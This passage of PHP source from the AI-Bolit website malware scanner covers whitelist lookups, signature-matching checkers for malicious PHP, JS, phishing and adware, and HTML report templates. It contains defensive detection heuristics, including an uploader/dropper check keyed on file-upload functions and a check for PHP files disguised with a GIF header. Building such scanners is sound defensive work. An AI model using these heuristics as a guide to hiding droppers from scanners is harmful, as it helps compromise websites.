- $l_Res = '__AI_LINE1__' . $l_LineNo . "__AI_LINE2__ " . ($l_MinPos > 0 ? '…' : '') . substr($par_Content, $l_MinPos, $par_Pos - $l_MinPos) . '__AI_MARKER__' . substr($par_Content, $par_Pos, $l_RightPos - $par_Pos - 1);
- $l_Res = AibolitHelpers::makeSafeFn(Normalization::normalize($l_Res), $this->addPrefix, $this->noPrefix);
- $l_Res = str_replace('~', ' ', $l_Res);
- $l_Res = preg_replace('~[\s\t]+~', ' ', $l_Res);
- $l_Res = str_replace('' . '?php', '' . '?php ', $l_Res);
- return $l_Res;
- }
- /**
- * @return array
- */
- public function whitelisting()
- {
- // whitelist
- $snum = 0;
- $list = $this->check_whitelist($this->vars->structure['crc'], $snum);
- $keys = array(
- 'criticalPHP',
- 'criticalJS',
- 'g_Iframer',
- 'g_Base64',
- 'phishing',
- 'adwareList',
- 'g_Redirect',
- 'warningPHP'
- );
- foreach ($keys as $p) {
- if (empty($this->vars->{$p})) {
- continue;
- }
- $p_Fragment = $p . 'Fragment';
- $p_Sig = $p . 'Sig';
- if ($p == 'g_Redirect') {
- $p_Fragment = $p . 'PHPFragment';
- }
- elseif ($p == 'g_Phishing') {
- $p_Sig = $p . 'SigFragment';
- }
- $count = count($this->vars->{$p});
- for ($i = 0; $i < $count; $i++) {
- $id = $this->vars->{$p}[$i];
- if ($this->vars->structure['crc'][$id] !== 0 && in_array($this->vars->structure['crc'][$id], $list)) {
- unset($this->vars->{$p}[$i], $this->vars->{$p_Sig}[$i], $this->vars->{$p_Fragment}[$i]);
- }
- }
- $this->vars->{$p} = array_values($this->vars->{$p});
- $this->vars->{$p_Fragment} = array_values($this->vars->{$p_Fragment});
- if (!empty($this->vars->{$p_Sig})) {
- $this->vars->{$p_Sig} = array_values($this->vars->{$p_Sig});
- }
- }
- return array($snum, $i);
- }
- public function check_whitelist($list, &$snum)
- {
- if (empty($list)) {
- return array();
- }
- $avdb = '';
- $file = dirname(__FILE__) . '/AIBOLIT-WHITELIST.db';
- if ((isset($this->vars->options['avdb']) && !empty($this->vars->options['avdb']) && ($avdb = $this->vars->options['avdb'])) || (isset($this->vars->options['c']) && !empty($this->vars->options['c']) && ($avdb = $this->vars->options['c']))) {
- if (file_exists($avdb)) {
- $file = dirname($avdb) . '/AIBOLIT-WHITELIST.db';
- }
- }
- try {
- $db = FileHashMemoryDb::open($file);
- } catch (Exception $e) {
- stdOut("\nAn error occurred while loading the white list database from " . $file . "\n");
- return array();
- }
- $snum = $db->count();
- stdOut("\nLoaded " . ceil($snum) . " known files from " . $file . "\n");
- return $db->find($list);
- }
- private function check_binmalware($hash)
- {
- if (isset($this->vars->blacklist)) {
- return count($this->vars->blacklist->find(array($hash))) > 0;
- }
- return false;
- }
- ///////////////////////////////////////////////////////////////////////////
- private function isFileTooBigForScanWithSignatures($filesize)
- {
- return (MAX_SIZE_TO_SCAN > 0 && $filesize > MAX_SIZE_TO_SCAN) || ($filesize < 0);
- }
- private function isFileTooBigForCloudscan($filesize)
- {
- return (MAX_SIZE_TO_CLOUDSCAN > 0 && $filesize > MAX_SIZE_TO_CLOUDSCAN) || ($filesize < 0);
- }
- }
- class ScanUnit
- {
- public static function QCR_ScanContent($checkers, $l_Unwrapped, $l_Content, $signs, $debug = null, $precheck = null, $processResult = null, &$return = null)
- {
- foreach ($checkers as $checker => $full) {
- $l_pos = 0;
- $l_SignId = '';
- if (isset($precheck) && is_callable($precheck)) {
- if (!$precheck($checker, $l_Unwrapped) || ($full && !$precheck($checker, $l_Content))) {
- continue;
- }
- }
- $flag = ScanCheckers::{$checker}($l_Unwrapped, $l_pos, $l_SignId, $signs, $debug);
- if ($flag && isset($processResult) && is_callable($processResult)) {
- $processResult($checker, $l_Unwrapped, $l_pos, $l_SignId, $return);
- }
- if (!$flag && $full) {
- $flag = ScanCheckers::{$checker}($l_Content, $l_pos, $l_SignId, $signs, $debug);
- if ($flag && isset($processResult) && is_callable($processResult)) {
- $processResult($checker, $l_Content, $l_pos, $l_SignId, $return);
- }
- }
- if ($flag) {
- return true;
- }
- }
- return false;
- }
- }
- class ScanCheckers
- {
- const URL_GRAB = '~(?:https?:)?\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+\~#=]{2,256}\.[a-z]{2,4}\b(?:[-a-zA-Z0-9@:%_\+.\~#?&/=]*)~msi';
- public static function WarningPHP($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- foreach ($signs->_SusDB as $l_Item) {
- if (preg_match('~' . $l_Item . '~smiS', $l_Content, $l_Found, PREG_OFFSET_CAPTURE)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- return true;
- }
- }
- }
- return false;
- }
- ///////////////////////////////////////////////////////////////////////////
- public static function Adware($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Res = false;
- foreach ($signs->_AdwareSig as $l_Item) {
- $offset = 0;
- while (preg_match('~' . $l_Item . '~smi', $l_Content, $l_Found, PREG_OFFSET_CAPTURE, $offset)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = 'adware';
- return true;
- }
- $offset = $l_Found[0][1] + 1;
- }
- }
- return $l_Res;
- }
- ///////////////////////////////////////////////////////////////////////////
- public static function CheckException(&$l_Content, &$l_Found, $signs, $debug = null)
- {
- $l_FoundStrPlus = substr($l_Content, max($l_Found[0][1] - 10, 0), 70);
- foreach ($signs->_ExceptFlex as $l_ExceptItem) {
- if (@preg_match('~' . $l_ExceptItem . '~smi', $l_FoundStrPlus, $l_Detected)) {
- return true;
- }
- }
- return false;
- }
- ///////////////////////////////////////////////////////////////////////////
- public static function Phishing($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Res = false;
- foreach ($signs->_PhishingSig as $l_Item) {
- $offset = 0;
- while (preg_match('~' . $l_Item . '~smi', $l_Content, $l_Found, PREG_OFFSET_CAPTURE, $offset)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "Phis: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return $l_Pos;
- }
- $offset = $l_Found[0][1] + 1;
- }
- }
- return $l_Res;
- }
- ///////////////////////////////////////////////////////////////////////////
- public static function CriticalJS($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Res = false;
- foreach ($signs->_JSVirSig as $l_Item) {
- $offset = 0;
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_start = microtime(true);
- }
- while (preg_match('~' . $l_Item . '~smi', $l_Content, $l_Found, PREG_OFFSET_CAPTURE, $offset)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "JS: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- $l_Res = true;
- break;
- }
- $offset = $l_Found[0][1] + 1;
- }
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_stop = microtime(true);
- $debug->addPerfomanceItem($l_Item, $stat_stop - $stat_start);
- }
- }
- return $l_Res;
- }
- public static function CriticalJS_PARA($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- foreach ($signs->X_JSVirSig as $l_Item) {
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_start = microtime(true);
- }
- if (preg_match('~' . $l_Item . '~smi', $l_Content, $l_Found, PREG_OFFSET_CAPTURE)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- //$l_SigId = myCheckSum($l_Item);
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "JS PARA: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- }
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_stop = microtime(true);
- $debug->addPerfomanceItem($l_Item, $stat_stop - $stat_start);
- }
- }
- return false;
- }
- ///////////////////////////////////////////////////////////////////////////
- public static function CriticalPHPGIF($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- if (strpos($l_Content, 'GIF89') === 0) {
- $l_Pos = 0;
- $l_SigId = 'GIF';
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 6: $l_Content matched [GIF] in $l_Pos\n";
- }
- return true;
- }
- return false;
- }
- public static function CriticalPHPUploader($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- // detect uploaders / droppers
- $l_Found = null;
- if ((strlen($l_Content) < 2048) && ((($l_Pos = strpos($l_Content, 'multipart/form-data')) > 0) || (($l_Pos = strpos($l_Content, '$_FILE[') > 0)) || (($l_Pos = strpos($l_Content, 'move_uploaded_file')) > 0) || (preg_match('|\bcopy\s*\(|smi', $l_Content, $l_Found, PREG_OFFSET_CAPTURE)))) {
- if ($l_Found != null) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = 'uploader';
- }
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 7: $l_Content matched [uploader] in $l_Pos\n";
- }
- return true;
- }
- }
- public static function CriticalPHP_3($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- foreach ($signs->X_FlexDBShe as $l_Item) {
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_start = microtime(true);
- }
- if (preg_match('~' . $l_Item . '~smiS', $l_Content, $l_Found, PREG_OFFSET_CAPTURE)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 3: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- }
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_stop = microtime(true);
- $debug->addPerfomanceItem($l_Item, $stat_stop - $stat_start);
- }
- }
- return false;
- }
- public static function CriticalPHP_2($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- foreach ($signs->XX_FlexDBShe as $l_Item) {
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_start = microtime(true);
- }
- if (preg_match('~' . $l_Item . '~smiS', $l_Content, $l_Found, PREG_OFFSET_CAPTURE)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 2: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- }
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_stop = microtime(true);
- $debug->addPerfomanceItem($l_Item, $stat_stop - $stat_start);
- }
- }
- return false;
- }
- public static function CriticalPHP_4($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Content_lo = strtolower($l_Content);
- foreach ($signs->_DBShe as $l_Item) {
- $l_Pos = strpos($l_Content_lo, $l_Item);
- if ($l_Pos !== false) {
- $l_SigId = AibolitHelpers::myCheckSum($l_Item);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 4: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- }
- return false;
- }
- public static function CriticalPHP_5($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Content_lo = strtolower($l_Content);
- foreach ($signs->X_DBShe as $l_Item) {
- $l_Pos = strpos($l_Content_lo, $l_Item);
- if ($l_Pos !== false) {
- $l_SigId = AibolitHelpers::myCheckSum($l_Item);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 5: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- }
- return false;
- }
- public static function CriticalPHP($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- foreach ($signs->_FlexDBShe as $l_Item) {
- $offset = 0;
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_start = microtime(true);
- }
- while (preg_match('~' . $l_Item . '~smiS', $l_Content, $l_Found, PREG_OFFSET_CAPTURE, $offset)) {
- if (!self::CheckException($l_Content, $l_Found, $signs)) {
- $l_Pos = $l_Found[0][1];
- //$l_SigId = myCheckSum($l_Item);
- $l_SigId = LoadSignaturesForScan::getSigId($l_Found);
- if (is_object($debug) && $debug->getDebugMode() == true) {
- echo "CRIT 1: $l_Content matched [$l_Item] in $l_Pos\n";
- }
- return true;
- }
- $offset = $l_Found[0][1] + 1;
- }
- if (is_object($debug) && $debug->getDebugPerfomance() == true) {
- $stat_stop = microtime(true);
- $debug->addPerfomanceItem($l_Item, $stat_stop - $stat_start);
- }
- }
- return false;
- }
- public static function isOwnUrl($url, $own)
- {
- if (isset($own) && preg_match('~' . $own . '~msi', $url)) {
- return true;
- }
- return false;
- }
- public static function isUrlInList($url, $list)
- {
- if (isset($list)) {
- foreach ($list as $item) {
- if (preg_match('~' . $item . '~msiS', $url, $id, PREG_OFFSET_CAPTURE)) {
- return $id;
- }
- }
- }
- return false;
- }
- public static function UrlChecker($l_Content, &$l_Pos, &$l_SigId, $signs, $debug = null)
- {
- $l_Pos = [];
- $l_SigId = [];
- $offset = 0;
- while (preg_match(self::URL_GRAB, $l_Content, $l_Found, PREG_OFFSET_CAPTURE, $offset)) {
- if (!self::isOwnUrl($l_Found[0][0], $signs->getOwnUrl())
- && (isset($signs->whiteUrls) && !self::isUrlInList($l_Found[0][0], $signs->whiteUrls->getDb()))) {
- if ($id = self::isUrlInList($l_Found[0][0], $signs->blackUrls->getDb())) {
- $l_Pos['black'][] = $l_Found[0][1];
- $l_SigId['black'][] = $signs->blackUrls->getSig($id);
- } else {
- $l_Pos['unk'][] = $l_Found[0][1];
- $l_SigId['unk'][] = $l_Found[0][0];
- }
- }
- $offset = $l_Found[0][1] + strlen($l_Found[0][0]);
- }
- return !empty($l_Pos);
- }
- }
- class TemplateList
- {
- /**
- * #############
- * # MAIN_PAGE #
- * #############
- */
- const MAIN_PAGE = <<<MAIN_PAGE
- <html>
- <head>
- <!-- revisium.com/ai/ -->
- <meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
- <META NAME="ROBOTS" CONTENT="NOINDEX,NOFOLLOW">
- <title>@@HEAD_TITLE@@</title>
- <style type="text/css" title="currentStyle">
- @import "https://cdn.revisium.com/ai/media/css/demo_page2.css";
- @import "https://cdn.revisium.com/ai/media/css/jquery.dataTables2.css";
- </style>
- <script type="text/javascript" language="javascript" src="https://cdn.revisium.com/ai/jquery.js"></script>
- <script type="text/javascript" language="javascript" src="https://cdn.revisium.com/ai/datatables.min.js"></script>
- <style>
- body {
- font-family: Tahoma, sans-serif;
- color: #5a5a5a;
- background: #FFFFFF;
- font-size: 14px;
- margin: 20px;
- padding: 0;
- }
- .header {
- font-size: 34px;
- margin: 0 0 10px 0;
- }
- .hidd {
- display: none;
- }
- .ok {
- color: green;
- }
- .line_no {
- -webkit-border-radius: 4px;
- -moz-border-radius: 4px;
- border-radius: 4px;
- background: #DAF2C1;
- padding: 2px 5px 2px 5px;
- margin: 0 5px 0 5px;
- }
- .credits_header {
- -webkit-border-radius: 4px;
- -moz-border-radius: 4px;
- border-radius: 4px;
- background: #F2F2F2;
- padding: 10px;
- font-size: 11px;
- margin: 0 0 10px 0;
- }
- .marker {
- color: #FF0090;
- font-weight: 100;
- background: #FF0090;
- padding: 2px 0 2px 0;
- width: 2px;
- }
- .title {
- font-size: 24px;
- margin: 20px 0 10px 0;
- color: #9CA9D1;
- }
- .summary {
- float: left;
- width: 500px;
- }
- .summary TD {
- font-size: 12px;
- border-bottom: 1px solid #F0F0F0;
- font-weight: 700;
- padding: 10px 0 10px 0;
- }
- .crit, .vir {
- color: #D84B55;
- }
- .intitem {
- color: #4a6975;
- }
- .spacer {
- margin: 0 0 50px 0;
- clear: both;
- }
- .warn {
- color: #F6B700;
- }
- .clear {
- clear: both;
- }
- .offer {
- -webkit-border-radius: 4px;
- -moz-border-radius: 4px;
- border-radius: 4px;
- width: 500px;
- background: #F2F2F2;
- color: #747474;
- font-family: Helvetica, Arial, sans-serif;
- padding: 30px;
- margin: 20px 0 0 550px;
- font-size: 14px;
- }
- .offer-our-products {
- -webkit-border-radius: 4px;
- -moz-border-radius: 4px;
- border-radius: 4px;
- width: 500px;
- background: #f6f5e0;
- color: #747474;
- font-family: Helvetica, Arial, sans-serif;
- padding: 30px;
- margin: 20px 0 0 550px;
- font-size: 14px;
- }
- HR {
- margin-top: 15px;
- margin-bottom: 15px;
- opacity: .2;
- }
- .flist {
- font-family: Henvetica, Arial, sans-serif;
- }
- .flist TD {
- font-size: 11px;
- padding: 5px;
- }
- .flist TH {
- font-size: 12px;
- height: 30px;
- padding: 5px;
- background: #CEE9EF;
- }
- .it {
- font-size: 14px;
- font-weight: 100;
- margin-top: 10px;
- }
- .crit .it A {
- color: #E50931;
- line-height: 25px;
- text-decoration: none;
- }
- .warn .it A {
- color: #F2C900;
- line-height: 25px;
- text-decoration: none;
- }
- .details {
- font-family: Calibri, sans-serif;
- font-size: 12px;
- margin: 10px 10px 10px 0;
- }
- .crit .details {
- color: #A08080;
- }
- .warn .details {
- color: #808080;
- }
- .details A {
- color: #FFF;
- font-weight: 700;
- text-decoration: none;
- padding: 2px;
- background: #E5CEDE;
- -webkit-border-radius: 7px;
- -moz-border-radius: 7px;
- border-radius: 7px;
- }
- .details A:hover {
- background: #A0909B;
- }
- .ctd {
- margin: 10px 0 10px 0;
- align: center;
- }
- .ctd A {
- color: #0D9922;
- }
- .disclaimer {
- color: darkgreen;
- margin: 10px 10px 10px 0;
- }
- .note_vir {
- margin: 10px 0 10px 0;
- / / padding: 10 px;
- color: #FF4F4F;
- font-size: 15px;
- font-weight: 700;
- clear: both;
- }
- .note_warn {
- margin: 10px 0 10px 0;
- color: #F6B700;
- font-size: 15px;
- font-weight: 700;
- clear: both;
- }
- .note_int {
- margin: 10px 0 10px 0;
- color: #60b5d6;
- font-size: 15px;
- font-weight: 700;
- clear: both;
- }
- .updateinfo {
- color: #FFF;
- text-decoration: none;
- background: #E5CEDE;
- -webkit-border-radius: 7px;
- -moz-border-radius: 7px;
- border-radius: 7px;
- margin: 10px 0 10px 0;
- padding: 10px;
- }
- .caution {
- color: #EF7B75;
- text-decoration: none;
- margin: 20px 0 0 0;
- font-size: 12px;
- }
- .footer {
- color: #303030;
- text-decoration: none;
- background: #F4F4F4;
- -webkit-border-radius: 7px;
- -moz-border-radius: 7px;
- border-radius: 7px;
- margin: 80px 0 10px 0px;
- padding: 10px;
- }
- .rep {
- color: #303030;
- text-decoration: none;
- background: #94DDDB;
- -webkit-border-radius: 7px;
- -moz-border-radius: 7px;
- border-radius: 7px;
- margin: 10px 0 10px 0;
- padding: 10px;
- font-size: 12px;
- }
- </style>
- </head>
- <body>
- <div class="header">@@MAIN_TITLE@@ @@PATH_URL@@ (@@MODE@@)</div>
- <div class="credits_header">@@CREDITS@@</div>
- <div class="details_header">
- @@STAT@@<br/>
- @@SCANNED@@ @@MEMORY@@.
- </div>
- @@WARN_QUICK@@
- <div class="summary">
- @@SUMMARY@@
- </div>
- <div class="offer">
- @@OFFER@@
- </div>
- <div class="offer-our-products">
- @@OFFER_OUR_PRODUCTS@@
- </div>
- <div class="clear"></div>
- @@MAIN_CONTENT@@
- <div class="footer">
- @@FOOTER@@
- </div>
- <script language="javascript">
- function hsig(id) {
- var divs = document.getElementsByTagName("tr");
- for(var i = 0; i < divs.length; i++){
- if (divs[i].getAttribute('o') == id) {
- divs[i].innerHTML = '';
- }
- }
- return false;
- }
- $(document).ready(function(){
- $('#table_crit').dataTable({
- "aLengthMenu": [[100 , 500, -1], [100, 500, "All"]],
- "aoColumns": [
- {"iDataSort": 7, "width":"70%"},
- {"iDataSort": 5},
- {"iDataSort": 6},
- {"bSortable": true},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false}
- ],
- "paging": true,
- "iDisplayLength": 500,
- "oLanguage": {
- "sLengthMenu": "@@msg1@@",
- "sZeroRecords": "@@msg2@@",
- "sInfo": "@@msg3@@",
- "sInfoEmpty": "@@msg4@@",
- "sInfoFiltered": "@@msg5@@",
- "sSearch": "@@msg6@@",
- "sUrl": "",
- "oPaginate": {
- "sFirst": "@@msg7@@",
- "sPrevious": "@@msg8@@",
- "sNext": "@@msg9@@",
- "sLast": "@@msg10@@"
- },
- "oAria": {
- "sSortAscending": "@@msg11@@",
- "sSortDescending": "@@msg12@@"
- }
- }
- } );
- });
- $(document).ready(function(){
- $('#table_vir').dataTable({
- "aLengthMenu": [[100 , 500, -1], [100, 500, "All"]],
- "paging": true,
- "aoColumns": [
- {"iDataSort": 7, "width":"70%"},
- {"iDataSort": 5},
- {"iDataSort": 6},
- {"bSortable": true},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false}
- ],
- "iDisplayLength": 500,
- "oLanguage": {
- "sLengthMenu": "@@msg1@@",
- "sZeroRecords": "@@msg2@@",
- "sInfo": "@@msg3@@",
- "sInfoEmpty": "@@msg4@@",
- "sInfoFiltered": "@@msg5@@",
- "sSearch": "@@msg6@@",
- "sUrl": "",
- "oPaginate": {
- "sFirst": "@@msg7@@",
- "sPrevious": "@@msg8@@",
- "sNext": "@@msg9@@",
- "sLast": "@@msg10@@"
- },
- "oAria": {
- "sSortAscending": "@@msg11@@",
- "sSortDescending": "@@msg12@@"
- }
- },
- } );
- });
- if ($('#table_warn0')) {
- $('#table_warn0').dataTable({
- "aLengthMenu": [[100 , 500, -1], [100, 500, "All"]],
- "paging": true,
- "aoColumns": [
- {"iDataSort": 7, "width":"70%"},
- {"iDataSort": 5},
- {"iDataSort": 6},
- {"bSortable": true},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false}
- ],
- "iDisplayLength": 500,
- "oLanguage": {
- "sLengthMenu": "@@msg1@@",
- "sZeroRecords": "@@msg2@@",
- "sInfo": "@@msg3@@",
- "sInfoEmpty": "@@msg4@@",
- "sInfoFiltered": "@@msg5@@",
- "sSearch": "@@msg6@@",
- "sUrl": "",
- "oPaginate": {
- "sFirst": "@@msg7@@",
- "sPrevious": "@@msg8@@",
- "sNext": "@@msg9@@",
- "sLast": "@@msg10@@"
- },
- "oAria": {
- "sSortAscending": "@@msg11@@",
- "sSortDescending": "@@msg12@@"
- }
- }
- } );
- }
- if ($('#table_warn1')) {
- $('#table_warn1').dataTable({
- "aLengthMenu": [[100 , 500, -1], [100, 500, "All"]],
- "paging": true,
- "aoColumns": [
- {"iDataSort": 7, "width":"70%"},
- {"iDataSort": 5},
- {"iDataSort": 6},
- {"bSortable": true},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false},
- {"bVisible": false}
- ],
- "iDisplayLength": 500,
- "oLanguage": {
- "sLengthMenu": "@@msg1@@",
- "sZeroRecords": "@@msg2@@",
- "sInfo": "@@msg3@@",
- "sInfoEmpty": "@@msg4@@",
- "sInfoFiltered": "@@msg5@@",
- "sSearch": "@@msg6@@",
- "sUrl": "",
- "oPaginate": {
- "sFirst": "@@msg7@@",
- "sPrevious": "@@msg8@@",
- "sNext": "@@msg9@@",
- "sLast": "@@msg10@@"
- },
- "oAria": {
- "sSortAscending": "@@msg11@@",
- "sSortDescending": "@@msg12@@"
- }
- }
- } );
- }
- </script>
- <!-- @@SERVICE_INFO@@ -->
- </body>
- </html>
- MAIN_PAGE;
- #region templates ru
- /**
- * #############
- * # FOOTER_RU #
- * #############
- */
- const FOOTER_RU = <<<FOOTER
- <div class="disclaimer"><span class="vir">[!]</span> Отказ от гарантий: невозможно гарантировать обнаружение всех вредоносных скриптов. Поэтому разработчик сканера не несет ответственности за возможные последствия работы сканера AI-Bolit или неоправданные ожидания пользователей относительно функциональности и возможностей.
- </div>
- <div class="thanx">
- Мы будем чрезвычайно благодарны за любые упоминания сканера AI-Bolit на вашем сайте, в блоге, среди друзей, знакомых и клиентов. <br/>Ссылку можно поставить на страницу <a href="https://revisium.com/ai/">https://revisium.com/ai/</a>.<br/>
- </div>
- FOOTER;
- /**
- * ###########################
- * # OFFER_RU #
- * ###########################
- */
- const OFFER_RU = <<<OFFER_ON_VIRUS_FOUND
- <div>
- <div class="crit" style="font-size: 17px; margin-bottom: 20px"><b>Внимание! Наш сканер обнаружил подозрительный или вредоносный код</b>.</div>
- <p>Возможно, ваш сайт был взломан. Рекомендуем срочно <a href="https://revisium.com/ru/order/#fform" target=_blank>проконсультироваться со специалистами</a> по данному отчету.</p>
- <p><hr size=1></p>
- <p>Рекомендуем также проверить сайт бесплатным <b><a href="https://rescan.pro/?utm=aibolit" target=_blank>онлайн-сканером ReScan.Pro</a></b>.</p>
- <p><hr size=1></p>
- <div class="caution">@@CAUTION@@</div>
- </div>
- OFFER_ON_VIRUS_FOUND;
- /**
- * #########################
- * # OFFER_OUR_PRODUCTS_RU #
- * #########################
- */
- const OFFER_OUR_PRODUCTS_RU = <<<OFFER_OUR_PRODUCTS
- <b>Наши продукты:</b><br/>
- <ul>
- <li style="margin-top: 10px"><font color=red><sup>[new]</sup></font><b><a href="https://revisium.com/ru/products/antivirus_for_ispmanager/" target=_blank>Антивирус для ISPmanager Lite</a></b> — сканирование и лечение сайтов прямо в панели хостинга</li>
- <li style="margin-top: 10px"><b><a href="https://revisium.com/ru/blog/revisium-antivirus-for-plesk.html" target=_blank>Антивирус для Plesk</a> Onyx 17.x</b> — сканирование и лечение сайтов прямо в панели хостинга</li>
- <li style="margin-top: 10px"><b><a href="https://cloudscan.pro/ru/" target=_blank>Облачный антивирус CloudScan.Pro</a> для веб-специалистов</b> — лечение сайтов в один клик</li>
- <li style="margin-top: 10px"><b><a href="https://revisium.com/ru/antivirus-server/" target=_blank>Антивирус для сервера</a></b> — для хостинг-компаний, веб-студий и агентств.</li>
- </ul>
- </div>
- OFFER_OUR_PRODUCTS;
- #endregion
- #region templates eng
- /**
- * #############
- * # FOOTER_EN #
- * #############
- */
- const FOOTER_EN = <<<FOOTER
- <div class="disclaimer"><span class="vir">[!]</span> Disclaimer: We're not liable to you for any damages, including general, special, incidental or consequential damages arising out of the use or inability to use the script (including but not limited to loss of data or report being rendered inaccurate or failure of the script). There's no warranty for the program. Use at your own risk.
- </div>
- <div class="thanx">
- We're greatly appreciate for any references in the social medias, forums or blogs to our scanner AI-BOLIT <a href="https://revisium.com/aibo/">https://revisium.com/aibo/</a>.<br/>
- </div>
- FOOTER;
- /**
- * ###########################
- * # OFFER_ON_VIRUS_FOUND_EN #
- * ###########################
- */
- const OFFER_EN = <<<OFFER_ON_VIRUS_FOUND
- <div>
- <div class="crit" style="font-size: 17px;"><b>Attention! The scanner has detected suspicious or malicious files.</b></div>
- <br/>Most likely the website has been compromised. Please, <a href="https://revisium.com/en/contacts/" target=_blank>contact web security experts</a> from Revisium to check the report or clean the malware.
- <p><hr size=1></p>
- Also check your website for viruses with our free <b><a href="http://rescan.pro/?en&utm=aibo" target=_blank>online scanner ReScan.Pro</a></b>.
- </div>
- <br/>
- <div>
- Revisium contacts: <a href="https://revisium.com/en/contacts/">https://revisium.com/en/home/</a>
- </div>
- <div class="caution">@@CAUTION@@</div>
- OFFER_ON_VIRUS_FOUND;
- /**
- * #########################
- * # OFFER_OUR_PRODUCTS_EN #
- * #########################
- */
- const OFFER_OUR_PRODUCTS_EN = <<<OFFER_OUR_PRODUCTS
- <b>Special Offers:</b><br/>
- <ul>
- <li style="margin-top: 10px"><font color=red><sup>[new]</sup></font><b><a href="http://ext.plesk.com/packages/b71916cf-614e-4b11-9644-a5fe82060aaf-revisium-antivirus">Antivirus for Plesk Onyx</a></b> hosting panel with one-click malware cleanup and scheduled website scanning.</li>
- <li style="margin-top: 10px"><font color=red></font><b><a href="https://www.ispsystem.com/addons-modules/revisium">Antivirus for ISPmanager Lite</a></b> hosting panel with one-click malware cleanup and scheduled website scanning.</li>
- <li style="margin-top: 10px">Professional malware cleanup and web-protection service with 6 month guarantee for only $99 (one-time payment): <a href="https://revisium.com/en/home/#order_form">https://revisium.com/en/home/</a>.</li>
- </ul>
- </div>
- OFFER_OUR_PRODUCTS;
- #endregion
- }
- class TranslateList
- {
- const RU = [
- //Переменные для javascript
- 'data_table.length_menu' => 'Отображать по _MENU_ записей',
- 'data_table.zero_records' => 'Ничего не найдено',
- 'data_table.info' => 'Отображается c _START_ по _END_ из _TOTAL_ файлов',
- 'data_table.info_empty' => 'Нет файлов',
- 'data_table.info_filtered' => '(всего записей _MAX_)',
- 'data_table.search' => 'Поиск:',
- 'data_table.paginate.first' => 'Первая',
- 'data_table.paginate.previous' => 'Предыдущая',
- 'data_table.paginate.next' => 'Следующая',
- 'data_table.paginate.last' => 'Последняя',
- 'data_table.aria.sort_ascending' => ': активировать для сортировки столбца по возрастанию',
- 'data_table.aria.sort_descending' => ': активировать для сортировки столбцов по убыванию',
- 'header.scan_report_title' => 'Отчет сканера <a href="https://revisium.com/ai/">AI-Bolit</a> v@@VERSION@@:',
